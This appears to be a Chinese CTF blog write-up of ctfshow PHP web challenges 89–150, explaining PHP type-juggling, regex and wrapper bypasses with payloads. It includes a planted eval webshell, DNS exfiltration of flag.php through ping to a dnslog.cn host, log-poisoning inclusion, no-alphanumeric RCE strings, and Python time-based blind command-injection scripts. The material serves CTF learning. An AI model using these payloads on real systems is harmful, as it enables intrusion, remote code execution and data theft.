web89

源码

image-20221218211029898

image-20221218211208944

利用数组绕过,对num的正则匹配。

因为 ——>preg_match只能处理字符串,当传入的subject是数组时会返回false

web90

源码

image-20221218211321940

先解释一下intval的意思

image-20221218211520421

然后这道题就可以通过数字加字母绕过。 num=0x117c—>

image-20221218211550102

web91

源码

image-20221218212029537

image-20221218212822855

这里解释了^php$/im的意思 m是多行匹配的意思

^ —->是指仅匹配/p开头的字符串

$ —->是指仅匹配/p结尾的字符串

https://bbs.csdn.net/topics/320227966

这篇文章讲解了php正则遇到的所有符号的含义

image-20221218213049399

%0aphp是这样的

image-20221218213434661

web92

源码

image-20221218214708879

用4476的16进制或者8进制都能绕过

image-20221218214745883

解法2:

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

源码

image-20221218214938240

虽然过滤了字母 我们还可以用8进制表示

image-20221218215152296

web94

源码

image-20221218215237018

image-20221218215849892

先用4476_过滤掉第一个和第二个if,因为第三个函数要求参数里必须得有0,所以在末尾加一个0,就能成功绕过了。

web95

源码

image-20221218220051775

image-20221218220710727

加号或者空格都能绕过 这两个的url编码也能绕过。

web96

源码

image-20221218220854093

解法一

利用php为协议

php://filter/read=convert.base64-encode/resource=flag.php

image-20221219151615862

解法二

./代表当前目录下 所以

image-20221219151722800

解法三

利用当前目录的路径

/var/www/html

image-20221219151841812

web97

源码

image-20221219152132776

利用数组绕过md5强等于

image-20221219152207405

web98

源码

image-20221219152512769

image-20221219155526819

这道题考察的是一个三元运算符

就是条件成立的话返回true里的值 不成立的返回false里的值 首先先分析代码,$_GET如果刚开始没赋值的话就会被强制转换为一个字符串,那么下面的条件都不会成立了,因为$__GET必须得是个数组才能拿到flag, **第一步** 得先给GET随便传点值让其为true使其返回```$_GET=&$_POST```变成post型的数组,然后下一行的$_GET就会变成$__POST。 **第二步** 然后给POST的flag传值为flag,使其转为COOKIE,那么第三行的$__GET就会变成$—COOKIE ,又因为COOKIE的flag没有没有值,就会返回flag,而不是SERVER。 **最后一步** 所以最后一行的GET就为CCOKIE了,最后只要在COOKIE里添加HTTP_FLAG=flag就可以成功输出flag了 ## web99 源码 ![image-20221219160616968](C:\Users\sdbdb\AppData\Roaming\Typora\typora-user-images\image-20221219160616968.png) array_push() --->的意思是靠rand(1,$i)在1到$i之间产生的随机数,然后赋值到$allow尾部里 in_array() ----> 判断$_GET里的值是否在$allow里 这道题就存在这个漏洞在这里。
1
in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

image-20221219163711057

所以就可以利用这个漏洞。

image-20221219163915275

先看数组里有没有3这个数字,有的话看能不能写入东西。

image-20221219163942094

能写入,然后就可以进行getshell了。

1
在content处写入   <?php eval($_POST[1]);?>

image-20221219164220854

web100

源码

image-20221219164409059

1
这道题先看$v0那里,是赋值和逻辑运算符相加在一起,但是逻辑运算符的的优先级没有赋值的高,所以这里只需要看v1就行,后面的不一定得是数字了。

image-20221219171715178

1
2
因为v2不能带;,所以用?>把它给替换掉了 %23是#号,把后面的东西给过滤掉了。v2就是传一句话木马,为什么可以这样写呢,就是eval比较特殊,他是这样的<?php  所以我们前面加的?>是为了与它闭合
ctfshow.php是/var/www/html目录下的 因为flag36d.txt是假的flag.

0x2d —-> 指的是- 替换后以ctfshow{xxxx}提交就行

web101

源码

image-20221219172440204

这道题考察的是反射类的含义,我也不太懂。。。。。

image-20221219205625421

因为flag一般是uuid的,有16位ui,这才有15位,所以得加一个在最后一个位置上 0-f

web102

源码

image-20221219205806760

1
这道题的难点是如何构造v2,看了题目给的解后才发现

image-20221219223237023

它这个构造就很巧妙了,因为这个e可以当作科学计数法来看,所以刚好符合题目要求。

image-20221219223434325

image-20221219223442861

这个就是先进行base64编码,然后在进行16进制转换得到的结果。

1
这个前面构造的16进制前面的数字相当于0x,可以不要,去掉也不影响,所以为了能绕过,就给0x替换成11了.

因为题目给的substr会把前两位给去掉,所以不影响最终结果。

1
然后v3传的php伪协议是解码的,所以是先进行16进制转换,然后在进行base64解码,然后写入2.php里。

image-20221219224415157

访问2.php得到flag。

web103

源码

image-20221219225709345

和上一题的解法一样

web104

源码

image-20221219230835495

image-20221219230941622

和md5差不多,都是加密函数

也可以利用数组绕过。

image-20221219231030575

直接令值相等也行。

web105

源码

image-20221219234917550

foreach里面指的就是这个 —-> $_GET[key]=value

value; ——- >这个是值覆盖

image-20221219235048002

自己看pl

1
第一步,suces=flag的原因是为了绕过第一行的foreach里面的die(),所以利用了suces,然后根据值覆盖,suces就等于$flag.然后第二个post的话,就是为了绕过die(),然后进行值覆盖,那么error就等于$flag了,然后因为没有post flag,所以执行die($error)就等于die($flag).然后就会输出flag.

web106

源码

image-20221220143719767

这道题可以利用数组绕过

image-20221220143807143

这样就可以拿到flag.

web107

源码

image-20221220143934377

image-20221220145147822

1
思路就是给v1随便给个值,因为找不到flag这个key,所以会返回false,然后md5传一个数组,md5也不会解析数组,也会返回false.所以相等,然后就会输出flag.

image-20221220145531165

这就是官方解,给的数字的含义。

https://blog.csdn.net/qq_63548648/article/details/128144485 可以看下我写的

web108

源码

image-20221220145632097

image-20221220154959505

1
%00是一个截断字符,就是代表着一个字符串到这就结束了,后面的东西将不会在继续遍历了。

所以第一个if就是一个以a开头并且以a结尾的一个字符串。然后因为36d转为10进制是877,然后根据题目给的逆转函数就得输入778,然后函数逆转就可以等于36d了。

web109

源码

image-20221220155405748

image-20221220162752867

1
加号的含义就是有一个是字母就行
1
这道题学到了很多东西,就是利用exception::__toString   这个内置函数

image-20221220162429252

1
这个函数就是echo new Exception('aaaa')  --->会直接输出aaaa的报错信息  那么就可以利用这个来进行rce了
1
还有一种就是 $a='phpinfo';$a();   这种就会直接输出phpinfo()的界面

image-20221220163200636

然后直接访问fl36dg.txt,就可以直接拿到flag。

image-20221220163250189

web110

源码

image-20221220165208448

这道题因为好多东西都被🈲了,那么只能用字母了,那么system(ls)肯定行不通了,那么我们就得去寻找其他可以用来查看目录的方法了

1
//filesystemiterator  是一个内置类,用来遍历文件  //继承类
1
//directoryItrerator  是一个内置类,用来遍历目录  //父类
1
这种类型的题都是利用toString方法  echo new xxxxxxxx;

写法一

1
directoryItrerator(diename(__FILE__))

写法二

1
directoryItrerator('.')   .  ---->是指当前目录

写法三

1
directoryItrerator(/var/www/html)

写法四

1
directoryItrerator(getcwd())   getcwd()  ----> 取得当前工作目录

写法五

1
filesystemiterator(getcwd())   --->只会返回当前文件目录的第一个文件

写法六

1
filesystemiterator  也可以利用   directoryItrerator上面的写法,方法是一样的

image-20221220170850889

这里的文件名排序是按照文件首字母来排序的,因为f排在前面,所以先输出flag。

然后访问fl36dga.txt就能拿到flag了。

web111

源码

image-20221220171126721

1
这道题考察的点是值覆盖,因为v1只需要包含ctfshow就行,那么想要拿到flag,就得用v2给v1覆盖掉,因为函数体内访问的值,只能访问传进来的,因为进行值覆盖了,所以访问不到,那么就得使用全局变量来进行访问了。

image-20221220211211535

利用的是GLOBALS,全局变量。

web112

源码

image-20221220211312978

1
2
这道题通过过滤的东西,和is_file()这个函数,就能判断出这是需要php伪协议做的
is_file() 这个可以不影响file_get_contents highlight_file

is_file()

image-20221220212932303

image-20221220213031242

1
因为php://filter/resource=flag.php  不是一个文件名,所以会返回false,绕过第一层的if判断,然后通过php伪协议传的flag.php就可以成功输出了。  这个伪协议是把过滤器给去掉后的样子

image-20221220213352149

1
不去掉利用别的过滤器也行,这是官方的wp

web113

源码

image-20221220213618137

这道题把php://filter协议给过滤掉了。那我们可以尝试下zlip协议

https://segmentfault.com/a/1190000018991087 这篇文章把好几种可以用到的协议都总结到一起了

image-20221220214343035

1
这就是zlip协议的用法。

下面是官方的解法

image-20221220214452423

1
2
3
4
5
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
1
这是用了目录溢出的方法,可以记记,当作一个积累

web114

源码

image-20221220214604506

1
还有一种伪协议是glob://flag.php    但是这题用不了,因为就是这个返回的是一个数组,highlight_file不能高亮一个数组,所以可以当个积累。
1
仔细瞧瞧,发现这里没过滤filter,那么就可以用老办法来试一下了。

image-20221220215659735

web115

源码

image-20221220215805366

image-20221220221842229

这个是trim()函数会删掉的东西,不过我们也可以把这个当作一个知识点,就是以后碰到这种需要判断数字的时候,可以利用这些字符来绕过。当然,看到这里,发现缺了个0x0C,刚好可以利用来绕过。

1
本地试了一下发现%0c36可以绕过is_numeric
1
$num!=='36'  这个是个强等于,因为%0c36不是字符串,所以也可以绕过
1
trim($num)!=='36'  因为trim()不会把%0c给去掉,那么也可以进行绕过
1
filter($num)=='36'   这个函数里面也没有把%0c过滤的东西,也可以成功返回36
1
有疑问的是这个$num=='36'  和  $num!=='36'  这就涉及到了一个强等于和弱类型比较的问题了,==表示的是值相等就行,===表示的是值和类型都必须相等。

image-20221220222611713

image-20221220222727063

web123

源码

image-20221220222813626

这里有个命名的规则就是吗,php中变量名只能由数字字母和下划线组成,如果变量名不是这样的话,就会被强制转化,但php只会转换一次,那么就可以利用这一特点。

1
如果变量名中有 空格 + [  则会被转化成  _

implode —->就是将数组以字符串的形式进行输出

image-20221221215115138

get_defined_vars

image-20221221215244737

这道题可以使用这两个东西来解。

image-20221221215529027

试了一下,发现echo可以用 那么可以尝试直接echo $flag.

image-20221221215640332

拿到flag,或者也可以上面的两种函数的结合方法。

image-20221221215751225

也可以直接拿到flag.

web125

源码

image-20221221215903203

1
这次要使用POST的方法提交数据,extract($_POST)会将POST的数据中的键名和键值转换为相应的变量名和变量值
1
extract($_GET)  和post一样

那么传fl0g就可以直接用post传了

image-20221221222623391

1
var_export()还是可以替代var_dump来用

解法二

image-20221221222913484

show_source(); 一样的效果

web126

源码

image-20221221223023719

这题开始判断长度了

parse_str

image-20221222164714051

image-20221222164510131

那么我们就可以知道parse_str是干什么的了。

1
就是将一串字符串来解析成数组的形式并存储在设定的数组里,而+会起到分割作用,如果不分割的话,可能会像上图一样变成只有一个下标为0的一个数组,如果有加号分割的话,就会变成有下标分别为0和1的数组,那么现在就已经把这个函数的运用全部讲完了。

回到题目

1
2
3
4
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。
不同的参数保存不同的信息,比如,
$_SERVER['argv'] //传递给该脚本的参数。
$_SERVER['argc'] //传递给程序的命令行参数的个数。
1
$a=$_SERVER['argv'];   是个空数组

那么我们就可以利用parse_str往数组里面传值。

解法一

1
2
3
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
//这下数组a里面就会有key值分别为0和1的值 下标为0对应着a=1,下标为1对应这fl0g=flag_give_me 那么就可以解决问题了。(这是没有parse_str的时候,parse_str的话,key就分别变为a和fl0g)

解法二

1
2
3
4
5
6
7
8
9
10
payload:
url/?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

$c="eval($a[0])"
$a[0]="$fl0g=flag_give_me;"
$c="eval($fl0g=flag_give_me;)"
eval($c;)
eval(eval($fl0g=flag_give_me;);)
// 把eval换成assert也行 assert(xxx) 如果xxx是字符串的话,会把它当作php代码来执行 和上面的一样
1
assert和eval与parse_str不同的是,eval要加上$符号

image-20221222171040081

往数组a传值的话,都会先传到下标0下面

非预期解

1
2
get: ?0=var_export($GLOBALS);
post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])

image-20221222171455203

这样写也行,与parse_str不同的是有无$.

web127

源码

image-20221222171621023

image-20221222172706658

https://www.cnblogs.com/luomir/p/5129875.html

1
通过这个图片和这个博客,知道了$url = $_SERVER['QUERY_STRING'];的作用

那么就可以进行判断了,那么就是得$url会等于问号后面的内容,那么我们就可以让$url=ctfshow=ilove36d,然后就可以得到flag,但是被过滤了,我们就可以通过非法命名来获得__,

那么[ + .被过滤了,我们就可以使用空格来代替,那么就可以成功输出flag.

image-20221222173109121

web128

源码

image-20221222173902226

1
2
3
4
5
6
7
小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

本地测试过了,call_user_func()里面有不是函数的东西,也可以var_dump()输出。那么就只需要管最里面的一层`call_user_func()`了

image-20221222185459392

web129

源码

image-20221222190719988

1
默认目录/var/www/html  就是先返回上一层目录(html),然后访问一个不存在的目录,然后接着访问上层目录(www),然后就访问www目录下的html,然后在访问html目录下的flag.php就可以拿到flag了。

web130

源码

image-20221222191026405

image-20221222192132660

直接输入就拿到flag了。

https://bbs.csdn.net/topics/320227966 关于正则的这篇文章全部概括了

1
2
3
.   是匹配任意字符
+ 是匹配出现的次数
? 是任意字符
1
第一个if的意思是ctfshow的前面如果有字符的话,就会被匹配到
1
第二个if的意思是因为stripos返回的是这个字符串第一次出现的位置,返回的是int型,而FALSE是bool型,这里又是强等于,肯定不相等。

web131

源码

image-20221222193417083

这里有个小漏洞,就是正则匹配的话,字符长度超过100w的话就不会在继续匹配了。

image-20221222193744465

进行100w次打印,然后加上36Dctfshow

image-20221222193825464

web132

源码

image-20221222194056040

是一个小网站

image-20221222194137043

访问robots.txt得到可以访问/admin的信息

image-20221222194619883

1
这里就是考察优先级关系,依次从高到低  非与或 !& |
1
然后第二个就是先进行与判断为false,然后false与$username进行或运算的到true,然后在令code等于admin,就可以拿到flag了。

web133

源码

image-20221222195142976

这道题学习的点还是很多的。

解法一

image-20221222224838401

1
通过传入?F='$F ';touch 1,传入之后访问1,没有返回,所以当前目录不可写

image-20221222224847076

payload

1
2
/?F=`$F`;+ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wxtcke.dnslog.cn -c 1   
//.wxtcke.dnslog.cn 是自己去danslog上获取的二级域名
1
``这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
1
这里的意思是会截取`$F`;+这六个字符,但是$F的值并没有变,那么就会截取到eval(`$F`;+)里面,变成eval(``$F`;+ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wxtcke.dnslog.cn -c 1`;+)   由于前面的`$F`;+,无法识别,就会绕过,去执行后面可以执行的代码。
1
2
3
4
5
6
curl不带有任何参数时,curl 就是发出 GET 请求。
grep指令用于查找内容包含指定的范本样式的文件
这里可以使用dns外带把flag带出来
由于flag.php中内容太多了 需要进行格式化 使用linux的 tr -cd
因为flag是数字加字母的字符串,所以可以用tr -cd "[a-z]"/"[0-9]"
uuid 格式8-4-4-4-12 就是每隔n个字符之间都会有一个-

http://www.ruanyifeng.com/blog/2019/09/curl-reference.html curl命令讲解

1
2
3
4
5
-c, --complement:反选设定字符。也就是符合 SET1 的部份不做处理,不符合的剩余部份才进行转换(payload""里的东西就是符合的,所以不进行转换或者清除)
-d, --delete:删除指令字符
-s, --squeeze-repeats:缩减连续重复的字符成指定的单个字符
-t, --truncate-set1:削减 SET1 指定范围,使之与 SET2 设定长度相等
--help:显示程序用法信息

解法二

https://blog.csdn.net/qq_46091464/article/details/109095382 这是出题人自己写的wp,可以去看看,因为我的bp不是专业版,用不了那个功能,所以就演示不了了。

总结一下

1
无回显我们可以用反弹shell 或者curl外带 或者盲注 这里的话反弹没有成功,但是可以外带。

web134

源码

image-20221222231203109

image-20221222233123188

image-20221222233130740

1
2
3
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
这两行代码的讲解,上面的题有过解释,这里就不多说了
1
2
3
payload为什么可以这样写呢,首先就是$_SERVER['QUERY_STRING']会以url/?=xxx  问号后的那内容用"xx",存储下来,然后又被parse_str()这个函数分割成数组的形式存储下来,就是key=key1,value=36d
key=key2 value=36d
extract($_POST); 这个是变量覆盖,其他的函数必须以post的形式进行输入,那么由于$_SERVER['QUERY_STRING']只能在get上输入,所以就得在get上这样写了 _POST[key1]=36d&_POST[key2]=36d 以这种形式替代post输入

web135

源码

image-20221222234906905

payload

1
/?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.j4ko5o.dnslog.cn -c 1
1
这里awk 'NR==15'表示的是读取第几行,这是从前面的flag出现的位置判断出来的。然后其他指令的意思web133有讲

然后就去通过danslog查看拼接flag就好了。

web136

源码

image-20221222235502578

image-20221223151706052

1
tee  a指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件a。
1
2
3
4
5
6
7
8
先:
?c=ls | tee a
然后访问url/a,电脑会自动下载一个名为a的文件,然后查看文件,发现里面只有index.php

?c=ls / | tee b
发现里面有f149_15_h3r3

?c=cat /f149_15_h3r3 | tee c

然后就可以拿到flag了。

解法二

这个比较骚,就是把题目都给改了。

https://blog.csdn.net/weixin_39731083/article/details/82495950 xargs sed命令介绍

1
第一步:ls | xargs sed -i "s/die/echo/"   -->-i是进入文本编辑模式 s是表示替换 这里是把die替换成echo
1
第二步: ls | xargs sed -i "s/exec/system/"  /后面加个g的话是全局替换,不加是只替换匹配到的第一个

web137

源码

image-20221223154219888

这道题考察了就是如何不new一个参数也能访问类里边的函数。

payload

1
ctfshow=ctfshow::getFlag  --->就是  类名::函数名  这是函数得是static的情况下
1
不是static的情况  ctfshow=call_user_func_array(array(new ctfshow(),'getFlag'))  ctfshow()--->是类名   getFlag是函数名。

image-20221223160407968

web138

源码

image-20221223160443873

image-20221223161022503

利用这一函数的特性,也是不用::的一种写法

payload

1
ctfshow[]=ctfshow&ctfshow[]=getFlag

image-20221223161241007

web139

源码

image-20221223161625931

和web136一样,但是这题的tee和xargs sed用不了了。

1
所以得用命令执行的bash盲注

image-20221223175030609

拿到根目录下的文件

1
f149_15_h3r3

第一步拿根目录下的flag名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-10-04 08:43:04
# @Last Modified by: h1xa
# @Last Modified time: 2021-10-04 12:03:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
# /f149_15_h3r3
# ctfshow{7bae6719-8739-4628-b57b-acf7a5fc4351}
import requests

url = "http://35e55b2c-6023-4fc4-8835-40abd33dae52.challenge.ctf.show/?c="
# payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"
payload = "if [ `ls / -1 | cut -c {} | awk \'NR=={}\'` == \'{}\' ];then sleep 4;fi" #cut是截断的意思,第一个括号是代表截断第几个字符 awk 'NR=={}' 是查看第几行 最后一个{}代表着遇到哪个字符就截断
# payload的含义是,如果遇到该截断的字符,就会延时3秒,并进行截断。
result = "+++++++++++++++++"
row=6
length=20

strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
#strings = "ctfshow}abdefgijklmnpqruvwxyz_-0123456789{"
for i in range(1,row):
for c in range(1,length):
#print("+++++++++++++++第"+str(c)+"个字符")
for s in strings:
target = url+payload.format(c,i,s) #format()里面填的东西是上面payload{}中的东西
print(target)
try:
requests.get(target,timeout=3) #如果请求在3秒之内完成就结束,如果超过3秒就会代表执行了sleep 4,就会执行下面的except:
except:
result +=s
print(result)
break
result += " "

print(result)


第二步,读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-10-04 08:43:04
# @Last Modified by: h1xa
# @Last Modified time: 2021-10-04 12:03:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
# /f149_15_h3r3
# ctfshow{7bae6719-8739-4628-b57b-acf7a5fc4351}
import requests

url = "http://35e55b2c-6023-4fc4-8835-40abd33dae52.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"
# payload = "if [ `ls / -1 | cut -c {} | awk \'NR=={}\'` == \'{}\' ];then sleep 4;fi" #cut是截断的意思,第一个括号是代表截断第几个字符 awk 'NR=={}' 是查看第几行 最后一个{}代表着遇到哪个字符就截断
# payload的含义是,如果遇到该截断的字符,就会延时3秒,并进行截断。
result = "+++++++++++++++++"
#row=6
length=48

strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
#strings = "ctfshow}abdefgijklmnpqruvwxyz_-0123456789{"
#for i in range(1,row):
for c in range(1,length):
#print("+++++++++++++++第"+str(c)+"个字符")
for s in strings:
target = url+payload.format(c,s) #format()里面填的东西是上面payload{}中的东西
print(target)
try:
requests.get(target,timeout=3) #如果请求在3秒之内完成就结束,如果超过3秒就会代表执行了sleep 4,就会执行下面的except:
except:
result +=s
print(result)
break
result += " "

print(result)

image-20221223180716378

把flag复制下来,然后把空格去掉,补上{}就能拿到flag了。

web140

源码

image-20221223182022441

1
思路就是让$code等于0,因为是弱类型比较,所以可以让0=='ctfshow'

image-20221223182148022

payload

1
f1=system&f2=system   把system换成var_dump也行    exec/usleep也行,应该有很多,可以自己去试试

web141

源码

image-20221223202331719

这里在本地试了下,

1
2
3
1+phpinfo()+1 ---> 是可以执行出来的,所以这道题也可以利用这一特点, 
if(preg_match('/^\W+$/', $v3)) ---->这个是正则的意思是不能含有字母,所以我们就可以通过异或来获取字母了。
/^\W+$/ 作用是匹配非数字字母下划线的字符

payload

1
v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b
1
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

无数字字母绕过正则表达式总结 yu师傅写的

https://blog.csdn.net/miuzzx/article/details/109143413

image-20221223205123698

image-20221223205156267

web142

源码

image-20221223205353234

image-20221223205452667

web143

源码

image-20221223205853208

和web141差不多

image-20221223210018653

用web141的payload,然后把%2b换成*号就行

web144

源码

image-20221223210505198

1
就是不一定得是这种格式  1+phpinfo()+1   1+1+phpinfo()这种形式也行

payload

1
2
3
?v1=1&v2=-(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)&v3=1

// 就是11-xxxxxx

image-20221223210903738

web145

源码

image-20221223211005710

image-20221223211416842

就是其他加减乘除异或符号全被过滤了,但是在本地试了下 |没有被过滤,所以还是可以用的

但是取反没有被过滤,所以可以尝试来解

payload

1
v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|

web146

源码

image-20221223211955658

用上一题的payload直接就可以打通关了

image-20221223212053007

前面给过yu师傅写的构造方法了,这里在给一下

https://blog.csdn.net/miuzzx/article/details/109143413

web147

源码

image-20221223212251086

1
这里的正则是第一个字符不能是数字字母 所以可以用   \   绕过
1
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
1
由于第一个参数为空,那么我们就得考虑去找一个能执行第一个参数为空的函数了,那么create_functino()就可以

image-20221223213534323

这里的思路是用}先把第一个if给包含住,然后在进行rce,后面的{是为了把下一行的}给包含住,#是为了把);给注释掉。

然后就可以进行rce了

image-20221223213759296

web148

源码

image-20221223214111128

image-20221223214505853

本地试过了,这样也可以执行,那么就可以构造get_ctfshow_fl0g()

这是解法1

解法二

直接可以在eval里进行命令执行

payload

1
code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);

image-20221223214653400

web149

源码

image-20221223221028213

这里不能用其他文件来新建的原因是unlink函数会把其他函数给删除掉

所以只能覆盖掉index.php

image-20221223221205356

然后在访问index.php,进行post rce 就能拿到flag了。

web150

源码

image-20221224145925518

这道题可以用文件包含日志 /var/log/nginx/access.log

1
就是因为$key为url/?后面的东西,那么在extract($_GET);传isVIP的时候,就要注意不能传有关正则匹配中的东西,不然的话就会代码就会执行结束。
1
这里的post传ctf的时候不含:就行,那么只要符合上述条件就行了。

这里就可以考虑文件包含日志了。

image-20221224150819031

服务器是nginx的,那么就利用nginx的默认日志路径

只有一次机会,写错了就得重新开环境。

第一步

image-20221224151001019

第二步

image-20221224194408896

第三步

进行rce

image-20221224194509564

拿到flag.

web150_plus

源码

image-20221224194638649

这里不给用日志包含了

题解释

1
2
3
4
5
6
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

image-20221224195350241

image-20221224195525809

直接拿到flag.